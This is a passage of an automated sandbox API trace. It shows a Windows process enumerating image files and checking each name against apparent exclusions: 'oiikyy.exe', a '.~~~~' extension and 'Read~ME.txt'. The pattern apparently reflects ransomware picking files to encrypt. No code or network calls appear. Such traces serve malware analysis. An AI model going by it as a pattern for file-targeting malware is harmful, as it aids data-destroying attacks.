	[0085.329] StrStrW (lpFirst="J0212601.WMF", lpSrch=".~~~~") returned 0x0
	[0085.329] lstrcmpW (lpString1="J0212601.WMF", lpString2="Read~ME.txt") returned -1
	[0085.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.329] GetCurrentThreadId () returned 0x618
	[0085.329] RtlWakeConditionVariable () returned 0x365f48
	[0085.329] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1
	[0085.335] lstrcmpiW (lpString1="J0212685.WMF", lpString2="Windows") returned -1
	[0085.335] lstrcmpW (lpString1="J0212685.WMF", lpString2="oiikyy.exe") returned -1
	[0085.335] StrStrW (lpFirst="J0212685.WMF", lpSrch=".~~~~") returned 0x0
	[0085.335] lstrcmpW (lpString1="J0212685.WMF", lpString2="Read~ME.txt") returned -1
	[0085.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.335] GetCurrentThreadId () returned 0x618
	[0085.335] RtlWakeConditionVariable () returned 0x365f48
	[0085.335] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1
	[0085.335] lstrcmpiW (lpString1="J0212751.WMF", lpString2="Windows") returned -1
	[0085.335] lstrcmpW (lpString1="J0212751.WMF", lpString2="oiikyy.exe") returned -1
	[0085.335] StrStrW (lpFirst="J0212751.WMF", lpSrch=".~~~~") returned 0x0
	[0085.335] lstrcmpW (lpString1="J0212751.WMF", lpString2="Read~ME.txt") returned -1
	[0085.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.335] GetCurrentThreadId () returned 0x618
	[0085.335] RtlWakeConditionVariable () returned 0x365f48
	[0085.335] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1
	[0085.335] lstrcmpiW (lpString1="J0212953.WMF", lpString2="Windows") returned -1
	[0085.335] lstrcmpW (lpString1="J0212953.WMF", lpString2="oiikyy.exe") returned -1
	[0085.335] StrStrW (lpFirst="J0212953.WMF", lpSrch=".~~~~") returned 0x0
	[0085.335] lstrcmpW (lpString1="J0212953.WMF", lpString2="Read~ME.txt") returned -1
	[0085.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.336] GetCurrentThreadId () returned 0x618
	[0085.336] RtlWakeConditionVariable () returned 0x365f48
	[0085.336] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1
	[0085.336] lstrcmpiW (lpString1="J0213243.WMF", lpString2="Windows") returned -1
	[0085.336] lstrcmpW (lpString1="J0213243.WMF", lpString2="oiikyy.exe") returned -1
	[0085.336] StrStrW (lpFirst="J0213243.WMF", lpSrch=".~~~~") returned 0x0
	[0085.336] lstrcmpW (lpString1="J0213243.WMF", lpString2="Read~ME.txt") returned -1
	[0085.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.336] GetCurrentThreadId () returned 0x618
	[0085.336] RtlWakeConditionVariable () returned 0x365f48
	[0085.336] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1
	[0085.336] lstrcmpiW (lpString1="J0213449.WMF", lpString2="Windows") returned -1
	[0085.336] lstrcmpW (lpString1="J0213449.WMF", lpString2="oiikyy.exe") returned -1
	[0085.336] StrStrW (lpFirst="J0213449.WMF", lpSrch=".~~~~") returned 0x0
	[0085.336] lstrcmpW (lpString1="J0213449.WMF", lpString2="Read~ME.txt") returned -1
	[0085.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.336] GetCurrentThreadId () returned 0x618
	[0085.336] RtlWakeConditionVariable () returned 0x365f48
	[0085.336] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1
	[0085.336] lstrcmpiW (lpString1="J0214934.WMF", lpString2="Windows") returned -1
	[0085.336] lstrcmpW (lpString1="J0214934.WMF", lpString2="oiikyy.exe") returned -1
	[0085.337] StrStrW (lpFirst="J0214934.WMF", lpSrch=".~~~~") returned 0x0
	[0085.337] lstrcmpW (lpString1="J0214934.WMF", lpString2="Read~ME.txt") returned -1
	[0085.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.337] GetCurrentThreadId () returned 0x618
	[0085.337] RtlWakeConditionVariable () returned 0x365f48
	[0085.337] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1
	[0085.337] lstrcmpiW (lpString1="J0214948.WMF", lpString2="Windows") returned -1
	[0085.337] lstrcmpW (lpString1="J0214948.WMF", lpString2="oiikyy.exe") returned -1
	[0085.337] StrStrW (lpFirst="J0214948.WMF", lpSrch=".~~~~") returned 0x0
	[0085.337] lstrcmpW (lpString1="J0214948.WMF", lpString2="Read~ME.txt") returned -1
	[0085.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.337] GetCurrentThreadId () returned 0x618
	[0085.337] RtlWakeConditionVariable () returned 0x365f48
	[0085.337] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26227e00, ftCreationTime.dwHighDateTime=0x1be5489, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26227e00, ftLastWriteTime.dwHighDateTime=0x1be5489, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1
	[0085.337] lstrcmpiW (lpString1="J0215070.WMF", lpString2="Windows") returned -1
	[0085.337] lstrcmpW (lpString1="J0215070.WMF", lpString2="oiikyy.exe") returned -1
	[0085.337] StrStrW (lpFirst="J0215070.WMF", lpSrch=".~~~~") returned 0x0
	[0085.337] lstrcmpW (lpString1="J0215070.WMF", lpString2="Read~ME.txt") returned -1
	[0085.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.337] GetCurrentThreadId () returned 0x618
	[0085.337] RtlWakeConditionVariable () returned 0x365f48
	[0085.338] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2209e400, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2209e400, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215076.WMF", cAlternateFileName="")) returned 1
	[0085.338] lstrcmpiW (lpString1="J0215076.WMF", lpString2="Windows") returned -1
	[0085.338] lstrcmpW (lpString1="J0215076.WMF", lpString2="oiikyy.exe") returned -1
	[0085.338] StrStrW (lpFirst="J0215076.WMF", lpSrch=".~~~~") returned 0x0
	[0085.338] lstrcmpW (lpString1="J0215076.WMF", lpString2="Read~ME.txt") returned -1
	[0085.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.338] GetCurrentThreadId () returned 0x618
	[0085.338] RtlWakeConditionVariable () returned 0x365f48
	[0085.338] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215210.WMF", cAlternateFileName="")) returned 1
	[0085.338] lstrcmpiW (lpString1="J0215210.WMF", lpString2="Windows") returned -1
	[0085.338] lstrcmpW (lpString1="J0215210.WMF", lpString2="oiikyy.exe") returned -1
	[0085.338] StrStrW (lpFirst="J0215210.WMF", lpSrch=".~~~~") returned 0x0
	[0085.338] lstrcmpW (lpString1="J0215210.WMF", lpString2="Read~ME.txt") returned -1
	[0085.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.338] GetCurrentThreadId () returned 0x618
	[0085.338] RtlWakeConditionVariable () returned 0x365f48
	[0085.338] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x852fb100, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x852fb100, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x244a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215709.WMF", cAlternateFileName="")) returned 1
	[0085.338] lstrcmpiW (lpString1="J0215709.WMF", lpString2="Windows") returned -1
	[0085.338] lstrcmpW (lpString1="J0215709.WMF", lpString2="oiikyy.exe") returned -1
	[0085.338] StrStrW (lpFirst="J0215709.WMF", lpSrch=".~~~~") returned 0x0
	[0085.338] lstrcmpW (lpString1="J0215709.WMF", lpString2="Read~ME.txt") returned -1
	[0085.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.339] GetCurrentThreadId () returned 0x618
	[0085.339] RtlWakeConditionVariable () returned 0x365f48
	[0085.339] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87920b00, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87920b00, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1
	[0085.339] lstrcmpiW (lpString1="J0215710.WMF", lpString2="Windows") returned -1
	[0085.339] lstrcmpW (lpString1="J0215710.WMF", lpString2="oiikyy.exe") returned -1
	[0085.339] StrStrW (lpFirst="J0215710.WMF", lpSrch=".~~~~") returned 0x0
	[0085.339] lstrcmpW (lpString1="J0215710.WMF", lpString2="Read~ME.txt") returned -1
	[0085.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.339] GetCurrentThreadId () returned 0x618
	[0085.339] RtlWakeConditionVariable () returned 0x365f48
	[0085.339] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1
	[0085.339] lstrcmpiW (lpString1="J0215718.WMF", lpString2="Windows") returned -1
	[0085.339] lstrcmpW (lpString1="J0215718.WMF", lpString2="oiikyy.exe") returned -1
	[0085.339] StrStrW (lpFirst="J0215718.WMF", lpSrch=".~~~~") returned 0x0
	[0085.339] lstrcmpW (lpString1="J0215718.WMF", lpString2="Read~ME.txt") returned -1
	[0085.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.340] GetCurrentThreadId () returned 0x618
	[0085.340] RtlWakeConditionVariable () returned 0x365f48
	[0085.340] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1
	[0085.340] lstrcmpiW (lpString1="J0216112.JPG", lpString2="Windows") returned -1
	[0085.340] lstrcmpW (lpString1="J0216112.JPG", lpString2="oiikyy.exe") returned -1
	[0085.340] StrStrW (lpFirst="J0216112.JPG", lpSrch=".~~~~") returned 0x0
	[0085.340] lstrcmpW (lpString1="J0216112.JPG", lpString2="Read~ME.txt") returned -1
	[0085.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.340] GetCurrentThreadId () returned 0x618
	[0085.340] RtlWakeConditionVariable () returned 0x365f48
	[0085.340] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1
	[0085.340] lstrcmpiW (lpString1="J0216153.JPG", lpString2="Windows") returned -1
	[0085.340] lstrcmpW (lpString1="J0216153.JPG", lpString2="oiikyy.exe") returned -1
	[0085.340] StrStrW (lpFirst="J0216153.JPG", lpSrch=".~~~~") returned 0x0
	[0085.340] lstrcmpW (lpString1="J0216153.JPG", lpString2="Read~ME.txt") returned -1
	[0085.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.340] GetCurrentThreadId () returned 0x618
	[0085.340] RtlWakeConditionVariable () returned 0x365f48
	[0085.340] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1
	[0085.340] lstrcmpiW (lpString1="J0216540.WMF", lpString2="Windows") returned -1
	[0085.340] lstrcmpW (lpString1="J0216540.WMF", lpString2="oiikyy.exe") returned -1
	[0085.340] StrStrW (lpFirst="J0216540.WMF", lpSrch=".~~~~") returned 0x0
	[0085.341] lstrcmpW (lpString1="J0216540.WMF", lpString2="Read~ME.txt") returned -1
	[0085.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.341] GetCurrentThreadId () returned 0x618
	[0085.341] RtlWakeConditionVariable () returned 0x365f48
	[0085.341] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216570.WMF", cAlternateFileName="")) returned 1
	[0085.341] lstrcmpiW (lpString1="J0216570.WMF", lpString2="Windows") returned -1
	[0085.341] lstrcmpW (lpString1="J0216570.WMF", lpString2="oiikyy.exe") returned -1
	[0085.341] StrStrW (lpFirst="J0216570.WMF", lpSrch=".~~~~") returned 0x0
	[0085.341] lstrcmpW (lpString1="J0216570.WMF", lpString2="Read~ME.txt") returned -1
	[0085.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.341] GetCurrentThreadId () returned 0x618
	[0085.341] RtlWakeConditionVariable () returned 0x365f48
	[0085.341] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216600.WMF", cAlternateFileName="")) returned 1
	[0085.341] lstrcmpiW (lpString1="J0216600.WMF", lpString2="Windows") returned -1
	[0085.341] lstrcmpW (lpString1="J0216600.WMF", lpString2="oiikyy.exe") returned -1
	[0085.341] StrStrW (lpFirst="J0216600.WMF", lpSrch=".~~~~") returned 0x0
	[0085.341] lstrcmpW (lpString1="J0216600.WMF", lpString2="Read~ME.txt") returned -1
	[0085.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.341] GetCurrentThreadId () returned 0x618
	[0085.341] RtlWakeConditionVariable () returned 0x365f48
	[0085.341] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1
	[0085.341] lstrcmpiW (lpString1="J0216612.WMF", lpString2="Windows") returned -1
	[0085.342] lstrcmpW (lpString1="J0216612.WMF", lpString2="oiikyy.exe") returned -1
	[0085.342] StrStrW (lpFirst="J0216612.WMF", lpSrch=".~~~~") returned 0x0
	[0085.342] lstrcmpW (lpString1="J0216612.WMF", lpString2="Read~ME.txt") returned -1
	[0085.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.342] GetCurrentThreadId () returned 0x618
	[0085.342] RtlWakeConditionVariable () returned 0x365f48
	[0085.342] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1
	[0085.342] lstrcmpiW (lpString1="J0216874.WMF", lpString2="Windows") returned -1
	[0085.342] lstrcmpW (lpString1="J0216874.WMF", lpString2="oiikyy.exe") returned -1
	[0085.342] StrStrW (lpFirst="J0216874.WMF", lpSrch=".~~~~") returned 0x0
	[0085.342] lstrcmpW (lpString1="J0216874.WMF", lpString2="Read~ME.txt") returned -1
	[0085.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.342] GetCurrentThreadId () returned 0x618
	[0085.342] RtlWakeConditionVariable () returned 0x365f48
	[0085.342] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1
	[0085.342] lstrcmpiW (lpString1="J0217262.WMF", lpString2="Windows") returned -1
	[0085.342] lstrcmpW (lpString1="J0217262.WMF", lpString2="oiikyy.exe") returned -1
	[0085.342] StrStrW (lpFirst="J0217262.WMF", lpSrch=".~~~~") returned 0x0
	[0085.342] lstrcmpW (lpString1="J0217262.WMF", lpString2="Read~ME.txt") returned -1
	[0085.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.342] GetCurrentThreadId () returned 0x618
	[0085.342] RtlWakeConditionVariable () returned 0x365f48
	[0085.342] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1
	[0085.343] lstrcmpiW (lpString1="J0217302.WMF", lpString2="Windows") returned -1
	[0085.343] lstrcmpW (lpString1="J0217302.WMF", lpString2="oiikyy.exe") returned -1
	[0085.343] StrStrW (lpFirst="J0217302.WMF", lpSrch=".~~~~") returned 0x0
	[0085.343] lstrcmpW (lpString1="J0217302.WMF", lpString2="Read~ME.txt") returned -1
	[0085.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.343] GetCurrentThreadId () returned 0x618
	[0085.343] RtlWakeConditionVariable () returned 0x365f48
	[0085.343] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1
	[0085.343] lstrcmpiW (lpString1="J0217872.WMF", lpString2="Windows") returned -1
	[0085.405] lstrcmpW (lpString1="J0217872.WMF", lpString2="oiikyy.exe") returned -1
	[0085.405] StrStrW (lpFirst="J0217872.WMF", lpSrch=".~~~~") returned 0x0
	[0085.405] lstrcmpW (lpString1="J0217872.WMF", lpString2="Read~ME.txt") returned -1
	[0085.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.405] GetCurrentThreadId () returned 0x618
	[0085.405] RtlWakeConditionVariable () returned 0x365f48
	[0085.405] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1
	[0085.405] lstrcmpiW (lpString1="J0227419.JPG", lpString2="Windows") returned -1
	[0085.405] lstrcmpW (lpString1="J0227419.JPG", lpString2="oiikyy.exe") returned -1
	[0085.405] StrStrW (lpFirst="J0227419.JPG", lpSrch=".~~~~") returned 0x0
	[0085.405] lstrcmpW (lpString1="J0227419.JPG", lpString2="Read~ME.txt") returned -1
	[0085.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.406] GetCurrentThreadId () returned 0x618
	[0085.406] RtlWakeConditionVariable () returned 0x365f48
